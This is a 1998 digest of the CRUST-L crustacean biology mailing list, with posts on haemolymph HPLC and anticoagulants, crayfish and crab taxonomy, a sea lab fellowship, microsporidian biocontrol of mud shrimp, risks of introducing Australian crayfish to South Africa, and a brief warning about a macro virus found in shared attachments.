Jan 1998 08:57:09 Subject: CRUST-L: HPLC on haemolymph Dear Crust-L users, is anyone out there routinely running HPLC columns on Crustacean haem. If so, do you have a tried and tested way of derivatizing the amino acids in the blood and also ways to reduce coelution of certain AA's. Thanks in advance for any comments Cheers Grant Grant Stentiford. Crustacean Parasitology Division of Environmental and Evolutionary Biology, Graham Kerr Building, University of Glasgow. Scotland. United Kingdom. G12 8QQ Tel; UK, (0141) 3306627 email; g.stentiford@udcf.gla.ac.uk =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Wim Vader" Date: Thu, 22 Jan 1998 14:01:32 +0100 Subject: CRUST-L: att. Joachim Kahlert This message was meant to be privately sent to Joachim Kahlert , in reaction to his RFI concerning Caspian amphipods. However, for some reason or other the message bounced, and I send it therefore on the list, as the information may have some wider interest anyway. Wim Vader =09 Dear Joachim, These are the references for the first two parts of Sars`s Caspian Amphipoda papers: Sars, G.O., 1894. Crustacea Caspia. Contributions to the knowledge of the Carcinological Fauna of the Caspian sea. Part III.Amphipoda. 1-st article. Gammaridae (part). -- Bulletin de L\Academie Imperiale des Sciences de St Petersbourg 5(1), 179-223, 8 Plates. Sars, G.O., 1894. (same title)second article. Gammaridae (continued). -- ibid. 5(1), 343-378, 16 plates. Other important authors on the fauna of the Caspian Sea are A.N. Derzhavin (see e.g. Crustaceana 15, 98-100) and Galina Pyatakova, both now deceased. A good bibliography of i.a. Caspian amphipod literature is in vol II of J.L. & C.M.Barnard, 1983. Freshwater Amphipoda of the world. II Handbook and Bibliography. Hayfield Associates, Mt Vernon (possibly available still from National Museum of natural History at the Smithsonian in Washington DC. The newer literature is abstracted in Zoological Records (where one can search for geographical areas) and in my Amphipod newsletter. There is somebody in the last years who works on deepwater fauna of the caspian, but he has never replied to my letters. I hope this is of some help for you. Please ask for further help if you can not get hold of the literature. We have Sars` Caspian papers here, as well as part of Pyatakova`s (not so much by Derzhavin) Wim Vader, Tromsoe Museum 9037 Tromsoe, Norway wim@imv.uit.no Wim Vader, Troms=F8 Museum 9037 Troms=F8, Norway wim@imv.uit.no =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: John Campbell McNamara Date: Thu, 22 Jan 1998 11:53:52 +0000 Subject: CRUST-L: Re: HPLC on haemolymph Grant, We routinely use derivatisation with phenylisothiocyanate + triethylamine to produce phenylthiocarbamyl-amino acid derivatives for analysis of freshwater shrimp haemolymph. This gives good separation of most amino acids. The only relevant coelution in our material is taurine with arginine, although one can calculate the respective concentrations from the corresponding areas when either one or the other is not too concentrated. I hope this helps. Check out the reference: Bidlingmeyer BA, Cohen SA, Tarvin TL, 1984. J. Chromatogr. 336, 93. Regards, John McNamara ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ John Campbell McNamara mailto:jcmcnama@ffclrp.usp.br or @usp.br Biologia, FFCLRP, USP, Ribeirão Preto 14040-901, SP, Brasil Phone +55-16-602-3687 FAX +55-16-633-5015/602-3666 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 22 Jan 1998 10:16:19 -0500 (EST) Subject: CRUST-L: Mangrove: Undergraduate Reseach Fellowships- Fall 1998 (fwd) Sorry for the cross posts but I can't remember if this got sent on CRUST-L. Cheers, Jeff - ---------- Forwarded message ---------- Subject: marbio: Fwd: Mangrove: Undergraduate Reseach Fellowships- Fall 1998 (fwd) >DAUPHIN ISLAND SEA LAB, ALABAMA > >UNDERGRADUATE RESEARCH FELLOWSHIPS AVAILABLE > >September 14 - November 20, 1998 > > > Alabama's Dauphin Island Sea Lab will offer seven fellowships >during the Fall Quarter, 1998, for undergraduate students interested in >pursuing careers or graduate studies in marine sciences. Students will >participate in an intensive 10 week research experience with a faculty >mentor with interests similar to the student's. In addition, participants >will attend a series of workshops on professional skills and lectures by >outstanding visiting scientists. The Sea Lab will award academic credit >for this experience with prior approval of the student's home campus. > > Students in this exciting marine science program will have the >opportunity to gain basic research skills, learn analytical techniques, >and interpretation and presentation proficiency. Research areas include >aspects of the ecology of early life history stages of marine and >estuarine fishes; plant-animal interactions in seagrass beds; >nutrient biogeochemistry; microbial, phytoplankton and zooplankton ecology; >and others. > > The base for research activities in this program will be the >Dauphin Island Sea Lab located on Dauphin Island, in the Gulf of Mexico >about four miles off of the Alabama mainland. The Sea Lab serves the >academic programs of 22 Alabama colleges and universities, and diverse >other visitors from throughout the U.S. The campus includes classrooms, >research laboratories, an educational aquarium, dormitory and dining >facilities, the library and dockage for research vessels. Fall weather >on the Alabama gulf coast is mild and excellent for recreation and field >research. Other activities ongoing during the fall include graduate >research and classes for 35+ students, research efforts of the 10 >resident university faculty, and day-trips for hundreds of kindergarten >through high school classes. > > Undergraduate research fellowships will consist of a stipend of >$2,500, on-campus housing and a meal allowance at the Sea Lab, and >assistance with travel for those outside of the Mobile, AL area. Funds >for this program are provided by the National Science Foundation, Ocean >Sciences Division Research Experiences for Undergraduates and the Alabama >Marine Environmental Sciences Consortium. > > Applications are invited from undergraduates in their junior or >senior years. Students cannot have graduated at the time of the >fellowship. Applications from minorities are especially encouraged. >Participants must be U.S. citizens or permanent residents of U.S. >territories. Applicants must provide 1)a completed application form, 2) >a statement of career goals and research interests, 3) college >transcripts, and 4) two letters of recommendation. Review of >applications will begin March 1, 1998 and awards will be made no later >than April 1, 1998. > > More information about the Dauphin Island Sea Lab is available at >http://www.sites.gulf.net/sealab. A downloadable application form >will be available at this address after January 24, 1998. For questions or >to request an application form and more information by mail, please >contact the REU director below (email preferred with REU on the subject >line). > >Judy P. Stout >Dauphin Island Sea Lab >Marine Environmental Sciences Consortium >P. O. Box 369-370 >Dauphin Island, AL 36528 >ph: 334-861-7529 >FAX:334-861-7540 >e-mail: jstout@jaguar1.usouthal.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 22 Jan 1998 14:20:01 -0500 (EST) Subject: Re: CRUST-L: Ghost/mud shrimp control Phil, and Sergio, > Some questions: > How highly host-specific are microsporans? To the specific level, generic, > family, ... ? For the most part microsporans are highly host specific. Nosema (a parasite of insects) was recently (1990) shown to infect grass shrimp but only after injection into the hemocoel. Few have looked at specificity with crustaceans. > How easily can they be IDed? Meaning, how easy is it to be sure that one > has the right parasite? If specificity is high, then they could be IDed relatively easily. EM is the method of choice, but one can establish general IDs based on number of spores in the sporoblast using LM. > How easily do microsporans mutate to infect a new host? Don't know. Would have to look more closely at insect literature. > How likely are the applied spores to spread beyond the area to be > controlled? I would be very cautious about putting a water-born pathogen > into breeding ponds or other bodies of water. Don't know, but microspores have been used as control agents in insect populations, albeit with mixed results. > I think you're onto a good idea, but it'll need lots of preliminary work. All biocontrol agents need lots of preliminary work. General guidelines for determining use can be extensive, and have been developed for safe release. > Spreading biological control agents should be considered a problem in > introducing foreign species into a new environment, not just an exercise in > replacing chemical control with biological control. Agreed, but the exercise is warranted if one is spraying directly into the aquatic environment. The ramifications of DDT use are still with us today. Why not use lady bugs instead of malathion? It's the same argument. Also, the fact that the microspores wouldn't necessarily be foreign is a big plus for development. Cheer, Jeff > > > >I've been thinking of an application of biological control to the mud > >shrimp "problem." I don't know if it's worth pursuing (especially with > >Pfiesteria rearing it's ugly sulcus), but several parasites occur in > >mud shrimp (and ghost shrimp). I was thinking of using > >microspores. Microsporans typically exhibit a high host specificity, > >and a high pathogenicity. Some of those in insects can be freeze-dried and > >stored for years! While rare in some populations, they often occur > >naturally, hence there may be less cause for concern than in using an > >introduction. For filter feeders, like mud shrimp, exposure > >could be as simple as putting spores in the water. > > > >Worth developing? That depends. What's the monetary loss caused by the > >shrimp? There's a possible application here to green crabs, too, but > >rhizocephalans have received more attention as control agents. > > > >Cheers, Jeff > > jeff@vims.edu > > ( ) ( ) Jeffrey Shields > >(^ ^) (^ ^) Assistant Professor > > (^) . . (^) Virginia Institute of Marine Science > > \\ 0 | | 0 // Gloucester Point, VA 23062, USA > > \\__\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 > > \^ ^^ ^/ http://www.vims.edu/~jeff/ > ><====\^ ( ) ^/====> > > <====\^ ^/====> > > <====\ /====> > > ()===(____)===() > > > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > >To (un)subscribe to CRUST-L: > >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > > > > }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ > > Philip Oshel > PO Box 5037 > Station A > Champaign, IL 61825-5037 > (217) 355-1143 > oshel@shout.net > or poshel@hotmail.com > ***** looking for a job ***** > > > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\ 0 | | 0 // Gloucester Point, VA 23062, USA \\__\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \^ ^^ ^/ http://www.vims.edu/~jeff/ <====\^ ( ) ^/====> <====\^ ^/====> <====\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #116 ***************************** From owner-crust-l-digest@vims.eduFri Mar 13 11:17:42 1998 Date: Mon, 26 Jan 1998 18:20:49 -0500 From: owner-crust-l-digest@vims.edu Reply to: crust-l@vims.edu To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #117 crust-l-digest Monday, 26 January 1998 Volume 01 : Number 117 CRUST-L: haemolymph anticoagulants CRUST-L: crustacean anticoagulants Re: CRUST-L: crustacean anticoagulants CRUST-L: cadiosoma (fwd) CRUST-L: Cherax, Cherax albidus CRUST-L: Cherax names Re: CRUST-L: cadiosoma (fwd) CRUST-L: New Bad News on Virus CRUST-L: crust anticoagulant CRUST-L: Freshwater Crayfish Introductions in South Africa Re: CRUST-L: crust anticoagulant CRUST-L: INFORMATION CRUST-L: tissue cultur medium in crayfish CRUST-L: thanks from Ismeni Walter CRUST-L: Marine sightings of the Belgian coast Re: CRUST-L: cadiosoma CRUST-L: Graduate fellowships available CRUST-L: EDTA as anticoagulant ---------------------------------------------------------------------- From: Arthur.Ritar@dpif.tas.gov.au Date: Fri, 23 Jan 1998 18:23:08 +1000 Subject: CRUST-L: haemolymph anticoagulants I would appreciate information on suitable haemolymph anticoagulants where the haemolymph will be frozen and then assayed for hormones and other blood components. Dr Arthur Ritar e-mail: Arthur.Ritar@dpif.tas.gov.au (Aquaculture Development) Work: 03 62277294 Dept Primary Industry and Fisheries Home: 03 62278499 Marine Research Laboratories Fax: 03 62277298 Nubeena Crescent TAROONA TASMANIA 7053 AUSTRALIA =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chuck Booth Date: Fri, 23 Jan 1998 08:53:19 -0500 Subject: CRUST-L: crustacean anticoagulants Darwin Jorgensen et al (Amer. Zool. 37, no. 5: 150A) have found that glycine methyl ester (0.001-0.1 mM) is the most effective anticoagulant for lobster blood of numerous substances tested (including caffeine). It does not affect hemocyanin oxygen binding properties, however, they did not look at potential effects on blood hormones. An alternative is to allow the hemolymph to clot, gently break up the clot (or use a glass on glass tissue homogenizer), and centrifuge to express the serum. - ------------------------------------ Dr. Charles E. Booth Department of Biology Eastern Connecticut State University 83 Windham St. Willimantic, CT 06226 U.S.A. Ph: 860-465-5260 Fax: 860-465-5213 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 23 Jan 1998 09:18:05 -0500 (EST) Subject: Re: CRUST-L: crustacean anticoagulants Arthur, Chuck, I haven't used the glycine methyl ester method. Although I do have a copy of the method used by Ernie Chang. I routinely freeze hemolymph in three different ways. (1) Straight up and into the freezer. (2) Clotted at room temperature, and spun for serum. (3) Mixed 1:1 with anticlotting medium (Soderhall and Smith's formulation) and spun for "plasma" as in Stewart et al. (1967). Re the glycine methyl ester method: does it interfere with phosphatase activity (I suspect yes because of the EDTA) or total protein measurements? How long can hemolymph be frozen using the method, i.e., does it deteriorate at -80 C? Why use PBS as the buffering agent, and do you adjust to the osmolarity of hemolymph? Is GEE more expensive than other anti-clotting agents? Cheers, Jeff Chuck wrote: > Darwin Jorgensen et al (Amer. Zool. 37, no. 5: 150A) have found that > glycine methyl ester (0.001-0.1 mM) is the most effective anticoagulant for > lobster blood of numerous substances tested (including caffeine). It does > not affect hemocyanin oxygen binding properties, however, they did not look > at potential effects on blood hormones. An alternative is to allow the > hemolymph to clot, gently break up the clot (or use a glass on glass tissue > homogenizer), and centrifuge to express the serum. jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\ 0 | | 0 // Gloucester Point, VA 23062, USA \\__\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \^ ^^ ^/ http://www.vims.edu/~jeff/ <====\^ ( ) ^/====> <====\^ ^/====> <====\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 23 Jan 1998 09:19:20 -0500 (EST) Subject: CRUST-L: cadiosoma (fwd) Please respond to Jari Sandqvist and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: Jari Sandqvist Reply-To: jaris@aqvaari.pp.fi Subject: Identifying "Cardiosoma armatum" Hi YOU Again a new carb species. It came to Finland as C. armatum for our pet markets. And again I need some help. 1. First, is Cardiosoma armatum a valid name? In which family it belongs? 2. I have a jpg file for mailing if needed. This crab is a land crab with blue back and red legs. The carapace is up to 10 cm wide. Is it a Cardiosoma sp. (or maybe even C. armatum)? It came to Finland from USA (I think it could be collected from middle or south America). 3. I took a female specimen at my home. There was maybe 30-40 specimens at the wholesaler and I was trying to find a pregnant/ovigerous female. When the specimen is determined I would like to ask more about the reproduction of this crab... Thanks Jari Sandqvist =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: andreas.maas@BIOLOGIE.UNI-ULM.DE (Andreas Maas) Date: Fri, 23 Jan 1998 15:42:15 +0100 Subject: CRUST-L: Cherax, Cherax albidus Hey crustlers, I would like to know which authors created the names C h e r a x , a genus of freshwater crayfishes of the family Parastacidae from Australia and C h e r a x a l b i d u s , a species of the destructor-group of this genus. thank you very much Andreas Andreas Maas Sektion fuer Biosystematische Dokumentation Universitaet Ulm Liststrasse 3, D-89079 Ulm Tel. xx49-(0)731-4014-163, Fax 159 email: andreas.maas@biologie.uni-ulm.de =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Sergio F. Nates" Date: Fri, 23 Jan 1998 10:54:17 -0600 Subject: CRUST-L: Cherax names Andreas: _Cherax_ Erichson 1846, Arch. Naturgesch., 12(I):88-89 as _Cheraps_ (p.101) _Cherax albidus_ Clark 1936, Mem. Nat. Hist. Mus. Victoria, 10:5-58 Sergio "free-virus" Sergio F. Nates, Ph.D. Biology Department University of Southwestern Louisiana P.O. Box 42451 Lafayette, LA 70504 Phone (318)482-5230 FAX (318) 482-5834 e-mail LRN8889@usl.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Eric Guinther Date: Fri, 23 Jan 1998 07:33:23 -1000 Subject: Re: CRUST-L: cadiosoma (fwd) At 09:19 AM 1/23/98 -0500, you wrote: >Please respond to Jari Sandqvist and not to me. >Thanks, >Jeff > >---------- Forwarded message ---------- >From: Jari Sandqvist >Reply-To: jaris@aqvaari.pp.fi >Subject: Identifying "Cardiosoma armatum" > >Hi YOU > >Again a new carb species. It came to Finland as C. armatum for our pet >markets. And again I need some help. > >1. First, is Cardiosoma armatum a valid name? In which family it >belongs? Yes. C. armatum Herklots is a West African species in the family Gecarcinidae > Eric Guinther aecos@pixi.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: psyoung@omega.lncc.br Date: Fri, 23 Jan 1998 16:20:38 -0200 Subject: CRUST-L: New Bad News on Virus Dear Friends, Unfortunatelly I have to give more bad news. I was scanning my computer and detect the virus "Winword Conception" in the following attachments. SHRIMP_F.DOC and SHRIMP_1.DOC. I did not open these files,therefore I do not know how this virus works. I do not know who sent it! I swear I did not! My interest are the barnacles .... much more intersting than shrimps! Good head-ache for all. Paulo S. Young Museu Nacional/UFRJ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Robin Fowler" Date: Sat, 24 Jan 1998 10:55:38 +1000 Subject: CRUST-L: crust anticoagulant A simple method for preventing coagulation in crust hemolymph is to inject the animal with 0.1M EDTA (in PBS) five minutes before bleeding. I inject a 100g cray (Cherax destructor) with 5ml of solution and then bleed into a 3ml syringe containing 0.3ml of anticoagulant. I spin the resulting fluid to remove cells and freeze the serum. This method comes from a paper where the aim was to retain viable cells. I can chase up the ref if you like. ________________________________________________________________________________ Mr Robin Fowler Aquaculture Research Unit, RMIT University, Melbourne, Victoria, Australia ________________________________________________________________________________ S-mail RMIT, Department of Applied Biology, GPO Box 2476V, Melbourne, Vic, 3001 E-mail fowler@minyos.its.rmit.edu.au robin.fowler@rmit.edu.au WWW http://minyos.its.rmit.edu.au/~fowler Fax 61 (03) 9662 3421 Ph 61 (03) 9660 2475 ________________________________________________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Andy Cohen Date: Fri, 23 Jan 1998 17:20:26 -0800 Subject: CRUST-L: Freshwater Crayfish Introductions in South Africa Martin, Regarding your Jan. 16 inquiry about the possibility of introducing Australian crayfish into South Africa for aquaculture, a few cautionary comments: >1] It is a tropical species and cold intolerant and the areas where >the farming will occur are high elevation, characterised by cold >winters (-10 C for about 20 nights of the year, water temperture >about 4-6 C) and therefore even if the beast were to escape >cultivation, the chances of establishment in the field are remote. > >2] It has no aestivation capabilities and the rivers in South Africa >tend to be stocastic in nature, remaining dry for most of the summer. > >3] It does not appear to borrow. These characteristics all reduce the chances of establishment and negative impacts, but do not eliminate them. Organisms placed in novel environments sometimes act in unexpected ways, or have unexpected interactions and effects. There are, for example, several cases of organisms becoming established in regions considerably colder than their native range, e.g. the tropical aquatic plant hydrilla thriving in a pond in the northeastern US that freezes solid in the winter, or the tropical seaweed Caulerpa taxifolia that seems to be taking over the northwestern Mediterranean. Selection and genetic change may have produced especially cold-tolerant populations in these cases, or possibly these organisms had capacities that were not expressed in their native environments. Granted that the high-elevation region you describe has cold winters, will cold winters be limiting for an acclimated population? (Not having an acclimated population to experiment with before you introduce them, that may be hard to determine.) Will the conditions under which the crayfish are held and grown in the farms be likely to select for cold-tolerance, and thus potentially produce a population that could become established there even if the initial imports could not? Could the crayfish migrate downstream to warmer waters at lower elevations? Once they are available in the country, might individuals try to grow them in warmer areas, with or without government permission? (Within-country transfers are much harder to control then between-country transfers; from my experience it appears that government agencies may frequently be completely unaware of within-country transfers of aquatic organisms, even when the law states that such transfers are to be regulated.) >4] Provided it is disease free. The assumptions behind this statement are worrisome. There is no way to know that the organisms are disease-free; at best one can determine that there is a low probability that they carry the specific diseases that one inspects for. Such inspection programs can fail and have failed to prevent the transfer even of targetted parasites and diseases. For example, California recently began a program of inspecting all shipments of abalone between abalone farms for a particular parasite (an introduced sabellid worm). However, shipments that were inspected and in which the worm was not found at the time of shipment, have in fact carried the worm to previously "clean" farms, and infested them. Every transfer of an organism to a novel environment carries substantial uncertainty, and therefore a significant degree of risk. - -Andy ================================================== >From: "MARTIN HILL" >Organization: NIPB RIETONDALE >To: Crust-l@vims.edu >Date: Fri, 16 Jan 1998 11:32:13 GMT+2 >MIME-Version: 1.0 >Subject: CRUST-L: Freshwater Crayfish Introductions in South Africa >Priority: normal >Sender: owner-crust-l@vims.edu >Precedence: bulk >Status: > >Dear All > >The controversy over the intorduction of Australian freshwater >crayfish into South Africa for aquaculture continues. After much >debate, speculation and soul searching the following proposal has >been put forward on which I would appreciate expert opinion. > >Three species have been proposed: >Cherax quadricarinatus >Cherax albidus >Cherax destructor > >The conservation body concerned has suggested that C. quadricarinatus >be allowed to be introduced and farmed for the following reasons > >1] It is a tropical species and cold intolerant and the areas where >the farming will occur are high elevation, characterised by cold >winters (-10 C for about 20 nights of the year, water temperture >about 4-6 C) and therefore even if the beast were to escape >cultivation, the chances of establishment in the field are remote. > >2] It has no aestivation capabilities and the rivers in South Africa >tend to be stocastic in nature, remaining dry for most of the summer. > >3] It does not appear to borrow. > >4] Provided it is disease free. > >At present no decision has been made, and I would appreciate people's >opinions on these arguments. > >Many thanks > >Martin Hill > > > >********************************************** >Dr. M.P. Hill >ARC >PPRI >Private Bag X 134 >Pretoria, South Africa, 0001 > >E-Mail: Rietmh@Plant2.Agric.za >Tel: Int. + 27 12 3293276 (Local): 012-3293276 >Fax: Int. + 27 12 3293278 (Local): 012-3293278 >********************************************** >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > Andrew N. Cohen San Francisco Estuary Institute 180 Richmond Field Station 1325 South 46th Street Richmond, CA 94804 USA phone: (510) 231-9423 fax: (510) 231-9414 email: acohen@sfei.org =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Magnus Date: Sat, 24 Jan 1998 16:01:08 +0100 (BST) Subject: Re: CRUST-L: crust anticoagulant This is a recipe for invertebrate anticoagulant that I used in a study of the immune system of the octopus Eledone cirrhosa (M.Sc. Thesis). It is based on one designed for use on Carcinus maenas: 0.45M NaCl, 0.10M Glucose 0.003M Tri-Sodium Citrate 0.0026M Citric Acid 0.001M EDTA 